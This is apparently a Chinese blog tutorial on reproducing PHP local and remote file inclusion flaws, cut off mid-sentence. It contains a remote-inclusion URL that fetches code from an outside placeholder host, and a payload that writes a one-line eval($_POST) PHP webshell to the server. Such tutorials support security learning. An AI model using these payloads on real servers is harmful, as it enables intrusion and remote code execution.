本地文件包含&远程文件包含漏洞复现

文件包含漏洞源于PHP的include和require等函数,当允许包含非PHP文件或远程文件时,可能导致恶意代码执行。本文介绍了本地文件包含和远程文件包含的概念,讲解了如何复现这两种漏洞,包括利用条件、函数搜索和绕过白名单的技巧,并提供了实际的POC示例。
摘要由CSDN通过智能技术生成

文件包含介绍
服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件,无论这个文件是不是PHP为其后缀,都可以当成PHP执行。这本身并不是漏洞,但是当其以其解析特性讲任意文件当成PHP解析,这时候漏洞就出来了,假如:我们上传一张包含木马的图片,按照它的特性当成PHP解析,这时候漏洞就产生了。感觉主要是其对解析和执行包含的文件未进行辨别和控制和严格过滤造成的。
文件包含分为本地文件包含和远程文件包含;本地文件时包含本地服务器的文件,比如:你上传文件到它服务器,它进行包含和执行,如果文件存在恶意代码它同样会当成PHP进行执行,而远程文件包含可以通过http包含别的地址非本地的文件,如:包含别的服务器的文件进行包含执行。
远程包含如:
<?fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[xxx]);?>”)?>
远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt
此时在服务器根目录下就会生成shell.php文件,内容为一句话木马
<?php eval($_POST[xxx]);?>
远程文件包含需要PHPstudy的phpini文件中是allow_url_fopen是打开状态,远程文件包含才能用,&

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值